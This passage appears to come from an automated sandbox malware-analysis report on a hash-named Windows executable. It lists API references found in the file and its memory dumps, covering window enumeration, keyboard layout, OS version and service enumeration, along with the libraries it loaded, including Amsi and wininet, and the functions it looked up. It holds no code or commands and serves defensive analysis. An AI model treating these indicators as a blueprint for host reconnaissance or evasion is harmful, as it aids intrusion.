00000000-00007408.00000002.99408.7F110000.00000004.mdmp")2f:T8e1,Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "NtQuerySystemInformation" (Indicator: "QuerySystemInformation"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; Source: "00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; Source: "00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")30:Tc43,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")31:Taf8,Found reference to API "GetKeyboardLayoutNameA" (Indicator: "GetKeyboardLayout"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; Source: "00000000-00007408.00000000.95569.004FD000.00000004.mdmp, 00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.004FD000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetKeyboardLayoutNameA" (Indicator: "GetKeyboardLayout"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")32:T895,Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")33:T5de,Found reference to API "EnumServicesStatusA" (Indicator: "EnumServicesStatus"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "EnumServicesStatusW" (Indicator: "EnumServicesStatus"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "EnumServicesStatusExA" (Indicator: "EnumServicesStatus"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "EnumServicesStatusExW" (Indicator: "EnumServicesStatus"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")34:T1135,"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter C:\0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.ENU (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter C:\0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.EN (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter olepro32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter archiveint (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter URL (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter Amsi (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter smartscreenps (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter browser (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter mssip32 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter Amsiproxy (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter URLsi (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ntdll.dll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter wininet (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter 4d005a009000 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter wintrust (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "LoadLibrary" with a parameter bcrypt (UID: 00000000-00007408)35:T661a,"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceExA (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00007408) 